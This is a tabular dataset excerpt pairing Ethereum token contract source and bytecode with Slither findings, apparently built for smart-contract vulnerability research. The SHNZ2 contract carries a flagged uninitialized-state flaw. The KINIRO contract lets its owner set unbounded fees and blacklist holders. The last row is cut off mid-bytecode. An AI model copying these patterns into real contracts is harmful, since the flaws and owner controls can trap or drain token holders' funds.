address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x7c70c1093653ca3aa47ac5d8f934125a0aaa1645 | pragma solidity ^0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
modifier legalBatchTransfer(uint256[] _values) {
uint256 sumOfValues = 0;
for(uint i = 0; i < _values.length; i++) {
sumOfValues = sumOfValues.add(_values[i]);
}
if(sumOfValues.mul(10 ** 8) > balanceOf(msg.sender)) {
revert();
}
_;
}
function multiValueBatchTransfer(address[] _recipients, uint256[] _values) public legalBatchTransfer(_values) returns(bool){
require(_recipients.length == _values.length && _values.length <= 100);
for(uint i = 0; i < _recipients.length; i++) {
balances[msg.sender] = balances[msg.sender].sub(_values[i].mul(10 ** 8));
balances[_recipients[i]] = balances[_recipients[i]].add(_values[i].mul(10 ** 8));
Transfer(msg.sender, _recipients[i], _values[i].mul(10 ** 8));
}
return true;
}
function singleValueBatchTransfer(address[] _recipients, uint256 _value) public returns(bool) {
require(balanceOf(msg.sender) >= _recipients.length.mul(_value.mul(10 ** 8)));
for(uint i = 0; i < _recipients.length; i++) {
balances[msg.sender] = balances[msg.sender].sub(_value.mul(10 ** 8));
balances[_recipients[i]] = balances[_recipients[i]].add(_value.mul(10 ** 8));
Transfer(msg.sender, _recipients[i], _value.mul(10 ** 8));
}
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract SHNZ2 is StandardToken {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
function SHNZ2() {
name = "Shizzle Nizzle 2";
symbol = "SHNZ2";
decimals = 8;
totalSupply = 100000000000e8;
balances[0x7e826E85CbA4d3AAaa1B484f53BE01D10F527Fd6] = totalSupply;
Transfer(address(this), 0x7e826E85CbA4d3AAaa1B484f53BE01D10F527Fd6, totalSupply);
}
} | 0x6060604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100c9578063095ea7b31461015357806318160ddd1461018957806323b872dd146101ae578063313ce567146101d65780633f802ca0146101ff5780635c20ad9e1461025057806366188463146102df57806370a082311461030157806395d89b4114610320578063a9059cbb14610333578063d73dd62314610355578063dd62ed3e14610377575b600080fd5b34156100d457600080fd5b6100dc61039c565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610118578082015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015e57600080fd5b610175600160a060020a036004351660243561043a565b604051901515815260200160405180910390f35b341561019457600080fd5b61019c6104a7565b60405190815260200160405180910390f35b34156101b957600080fd5b610175600160a060020a03600435811690602435166044356104ad565b34156101e157600080fd5b6101e9610619565b60405160ff909116815260200160405180910390f35b341561020a57600080fd5b6101756004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843750949650509335935061062292505050565b341561025b57600080fd5b6101756004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506107b395505050505050565b34156102ea57600080fd5b610175600160a060020a036004351660243561095b565b341561030c57600080fd5b61019c600160a060020a0360043516610a54565b341561032b57600080fd5b6100dc610a6f565b341561033e57600080fd5b610175600160a060020a0360043516602435610ada565b341561036057600080fd5b610175600160a060020a0360043516602435610bd8565b341561038257600080fd5b61019c600160a060020a0360043581169060243516610c7c565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104325780601f1061040757610100808354040283529160200191610432565b820191906000526020600020905b81548152906001019060200180831161041557829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60065481565b600160a060020a0383166000908152602081905260408120548211156104d257600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561050557600080fd5b600160a060020a038316151561051a57600080fd5b600160a060020a038416600090815260208190526040902054610543908363ffffffff610ca716565b600160a060020a038086166000908152602081905260408082209390935590851681522054610578908363ffffffff610cb916565b600160a060020a03808516600090815260208181526040808320949094558783168252600281528382203390931682529190915220546105be908363ffffffff610ca716565b600160a060020a0380861660008181526002602090815260408083203386168452909152908190209390935590851691600080516020610cf08339815191529085905190815260200160405180910390a35060019392505050565b60055460ff1681565b60008061064a61063c846305f5e10063ffffffff610cc616565b85519063ffffffff610cc616565b61065333610a54565b101561065e57600080fd5b5060005b83518110156107a9576106a7610682846305f5e10063ffffffff610cc616565b600160a060020a0333166000908152602081905260409020549063ffffffff610ca716565b600160a060020a0333166000908152602081905260409020556107166106d7846305f5e10063ffffffff610cc616565b6000808785815181106106e657fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff610cb916565b60008086848151811061072557fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205583818151811061075557fe5b90602001906020020151600160a060020a03908116903316600080516020610cf0833981519152610790866305f5e10063ffffffff610cc616565b60405190815260200160405180910390a3600101610662565b5060019392505050565b6000808281805b82518110156107f3576107e98382815181106107d257fe5b90602001906020020151839063ffffffff610cb916565b91506001016107ba565b6107fc33610a54565b610810836305f5e10063ffffffff610cc616565b111561081b57600080fd5b8551875114801561082e57506064865111155b151561083957600080fd5b600093505b865184101561094e576108746106826305f5e10088878151811061085e57fe5b906020019060200201519063ffffffff610cc616565b600160a060020a0333166000908152602081905260409020556108b36108a46305f5e10088878151811061085e57fe5b6000808a88815181106106e657fe5b6000808987815181106108c257fe5b90602001906020020151600160a060020a031681526020810191909152604001600020558684815181106108f257fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020610cf08339815191526109326305f5e1008a898151811061085e57fe5b60405190815260200160405180910390a360019093019261083e565b5060019695505050505050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083106109b757600160a060020a0333811660009081526002602090815260408083209388168352929052908120556109ee565b6109c7818463ffffffff610ca716565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104325780601f1061040757610100808354040283529160200191610432565b600160a060020a033316600090815260208190526040812054821115610aff57600080fd5b600160a060020a0383161515610b1457600080fd5b600160a060020a033316600090815260208190526040902054610b3d908363ffffffff610ca716565b600160a060020a033381166000908152602081905260408082209390935590851681522054610b72908363ffffffff610cb916565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a0316600080516020610cf08339815191528460405190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610c10908363ffffffff610cb916565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600082821115610cb357fe5b50900390565b818101828110156104a157fe5b6000821515610cd7575060006104a1565b50818102818382811515610ce757fe5b04146104a157fe00ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582094e3742e4feb09805374a76236ec9018ee322adf9fde019119f430ba667c41750029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}} | 10,300 |
0x40f43363f9e0584794b352807eafde49452d58ae | /**
*Submitted for verification at Etherscan.io on 2022-04-21
*/
//SPDX-License-Identifier: UNLICENSED
/*
/$$ /$$ /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$ /$$ /$$
| $$ /$$/|_ $$_/| $$$ | $$|_ $$_/| $$__ $$ /$$__ $$ | $$__ $$ /$$__ $$| $$$ | $$| $$ /$$/
| $$ /$$/ | $$ | $$$$| $$ | $$ | $$ \ $$| $$ \ $$ | $$ \ $$| $$ \ $$| $$$$| $$| $$ /$$/
| $$$$$/ | $$ | $$ $$ $$ | $$ | $$$$$$$/| $$ | $$ | $$$$$$$ | $$$$$$$$| $$ $$ $$| $$$$$/
| $$ $$ | $$ | $$ $$$$ | $$ | $$__ $$| $$ | $$ | $$__ $$| $$__ $$| $$ $$$$| $$ $$
| $$\ $$ | $$ | $$\ $$$ | $$ | $$ \ $$| $$ | $$ | $$ \ $$| $$ | $$| $$\ $$$| $$\ $$
| $$ \ $$ /$$$$$$| $$ \ $$ /$$$$$$| $$ | $$| $$$$$$/ | $$$$$$$/| $$ | $$| $$ \ $$| $$ \ $$
|__/ \__/|______/|__/ \__/|______/|__/ |__/ \______/ |_______/ |__/ |__/|__/ \__/|__/ \__/
https://kinirobank.com/
https://t.me/kinirobank
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KINIRO is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e11 * 10**9;
string public constant name = unicode"Kiniro Bank";
string public constant symbol = unicode"KINIRO";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _MarketingWallet;
address public uniswapV2Pair;
uint public _bFee = 8;
uint public _sFee = 12;
uint private _feeRate = 15;
uint public _maxBuyTokens;
uint public _maxWallet;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool private _removedTxnLimit = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event MarketingWalletUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable MarketingWallet) {
_MarketingWallet = MarketingWallet;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[MarketingWallet] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0);
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen);
if((_launchedAt + (3 minutes)) > block.timestamp && _removedTxnLimit ) {
require(amount <= _maxBuyTokens);
require((amount + balanceOf(address(to))) <= _maxWallet);
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_MarketingWallet.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _bFee;
} else {
fee = _sFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function createPair() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function addLiq() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyTokens = 1000000000 * 10**9;
_maxWallet = 2000000000 * 10**9;
_removedTxnLimit = true;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setEnableLimitedTxn(bool enable) external onlyOwner() {
_removedTxnLimit = enable;
}
function setMaxAmount(uint maxBuyTokens, uint maxWallet) external onlyOwner(){
if( _maxBuyTokens>= 500000000 ){
_maxBuyTokens = maxBuyTokens;
_maxWallet = maxWallet;
}
}
function setFees(uint bFee, uint sFee) external onlyOwner() {
_bFee = bFee;
_sFee = sFee;
emit FeesUpdated(_bFee, _sFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateMarketingWallet(address newAddress) external onlyOwner(){
_MarketingWallet = payable(newAddress);
emit MarketingWalletUpdated(_MarketingWallet);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
} | 0x6080604052600436106101fd5760003560e01c8063715018a61161010d578063b0e9fffe116100a0578063db92dbb61161006f578063db92dbb6146105c3578063dcb0e0ad146105d8578063dd62ed3e146105f8578063e9e1831a1461063e578063fdf7cd931461065357600080fd5b8063b0e9fffe14610563578063b515566a14610579578063c3c8cd8014610599578063c9567bf9146105ae57600080fd5b806395d89b41116100dc57806395d89b41146104dc5780639e78fb4f1461050e578063a9059cbb14610523578063aacebbe31461054357600080fd5b8063715018a61461047257806382247ec0146104875780638da5cb5b1461049d57806394b8d8f2146104bb57600080fd5b806330380a46116101905780633bbac5791161015f5780633bbac579146103b657806349bd5a5e146103ef5780636755a4d0146104275780636fc3eaec1461043d57806370a082311461045257600080fd5b806330380a4614610339578063313ce5671461035957806331c2d8471461038057806332d873d8146103a057600080fd5b80631fe0371e116101cc5780631fe0371e146102ce5780632188650e146102e457806323b872dd1461030457806327f3a72a1461032457600080fd5b806306fdde0314610209578063095ea7b3146102565780630b78f9c01461028657806318160ddd146102a857600080fd5b3661020457005b600080fd5b34801561021557600080fd5b506102406040518060400160405280600b81526020016a4b696e69726f2042616e6b60a81b81525081565b60405161024d91906116fe565b60405180910390f35b34801561026257600080fd5b50610276610271366004611778565b610673565b604051901515815260200161024d565b34801561029257600080fd5b506102a66102a13660046117a4565b610689565b005b3480156102b457600080fd5b5068056bc75e2d631000005b60405190815260200161024d565b3480156102da57600080fd5b506102c060095481565b3480156102f057600080fd5b506102a66102ff3660046117a4565b610703565b34801561031057600080fd5b5061027661031f3660046117c6565b610749565b34801561033057600080fd5b506102c061079d565b34801561034557600080fd5b506102a6610354366004611815565b6107ad565b34801561036557600080fd5b5061036e600981565b60405160ff909116815260200161024d565b34801561038c57600080fd5b506102a661039b366004611848565b6107f3565b3480156103ac57600080fd5b506102c0600e5481565b3480156103c257600080fd5b506102766103d136600461190d565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103fb57600080fd5b5060085461040f906001600160a01b031681565b6040516001600160a01b03909116815260200161024d565b34801561043357600080fd5b506102c0600c5481565b34801561044957600080fd5b506102a6610885565b34801561045e57600080fd5b506102c061046d36600461190d565b610892565b34801561047e57600080fd5b506102a66108ad565b34801561049357600080fd5b506102c0600d5481565b3480156104a957600080fd5b506000546001600160a01b031661040f565b3480156104c757600080fd5b50600f54610276906301000000900460ff1681565b3480156104e857600080fd5b50610240604051806040016040528060068152602001654b494e49524f60d01b81525081565b34801561051a57600080fd5b506102a6610921565b34801561052f57600080fd5b5061027661053e366004611778565b610afc565b34801561054f57600080fd5b506102a661055e36600461190d565b610b09565b34801561056f57600080fd5b506102c0600a5481565b34801561058557600080fd5b506102a6610594366004611848565b610b88565b3480156105a557600080fd5b506102a6610ca1565b3480156105ba57600080fd5b506102a6610cb7565b3480156105cf57600080fd5b506102c0610d33565b3480156105e457600080fd5b506102a66105f3366004611815565b610d4b565b34801561060457600080fd5b506102c061061336600461192a565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064a57600080fd5b506102a6610dca565b34801561065f57600080fd5b5060075461040f906001600160a01b031681565b6000610680338484610f73565b50600192915050565b6000546001600160a01b031633146106bc5760405162461bcd60e51b81526004016106b390611963565b60405180910390fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b6000546001600160a01b0316331461072d5760405162461bcd60e51b81526004016106b390611963565b631dcd6500600c541061074557600c829055600d8190555b5050565b6000610756848484611097565b6001600160a01b03841660009081526003602090815260408083203384529091528120546107859084906119ae565b9050610792853383610f73565b506001949350505050565b60006107a830610892565b905090565b6000546001600160a01b031633146107d75760405162461bcd60e51b81526004016106b390611963565b600f8054911515620100000262ff000019909216919091179055565b6000546001600160a01b0316331461081d5760405162461bcd60e51b81526004016106b390611963565b60005b815181101561074557600060056000848481518110610841576108416119c5565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061087d816119db565b915050610820565b4761088f816113cb565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108d75760405162461bcd60e51b81526004016106b390611963565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461094b5760405162461bcd60e51b81526004016106b390611963565b600f5460ff161561096e5760405162461bcd60e51b81526004016106b3906119f6565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa1580156109d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f79190611a2d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a689190611a2d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610ab5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ad99190611a2d565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b6000610680338484611097565b6000546001600160a01b03163314610b335760405162461bcd60e51b81526004016106b390611963565b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527fbf86feedee5b30c30a8243bd21deebb704d141478d39b1be04fe5ee739f214e7906020015b60405180910390a150565b6000546001600160a01b03163314610bb25760405162461bcd60e51b81526004016106b390611963565b60005b81518110156107455760085482516001600160a01b0390911690839083908110610be157610be16119c5565b60200260200101516001600160a01b031614158015610c32575060065482516001600160a01b0390911690839083908110610c1e57610c1e6119c5565b60200260200101516001600160a01b031614155b15610c8f57600160056000848481518110610c4f57610c4f6119c5565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c99816119db565b915050610bb5565b6000610cac30610892565b905061088f81611405565b6000546001600160a01b03163314610ce15760405162461bcd60e51b81526004016106b390611963565b600f5460ff1615610d045760405162461bcd60e51b81526004016106b3906119f6565b600f805442600e55670de0b6b3a7640000600c55671bc16d674ec80000600d5562ff00ff191662010001179055565b6008546000906107a8906001600160a01b0316610892565b6000546001600160a01b03163314610d755760405162461bcd60e51b81526004016106b390611963565b600f805463ff000000191663010000008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610b7d565b6000546001600160a01b03163314610df45760405162461bcd60e51b81526004016106b390611963565b600f5460ff1615610e175760405162461bcd60e51b81526004016106b3906119f6565b600654610e389030906001600160a01b031668056bc75e2d63100000610f73565b6006546001600160a01b031663f305d7194730610e5481610892565b600080610e696000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ed1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ef69190611a4a565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610f4f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088f9190611a78565b6001600160a01b038316610fd55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f20616464604482015263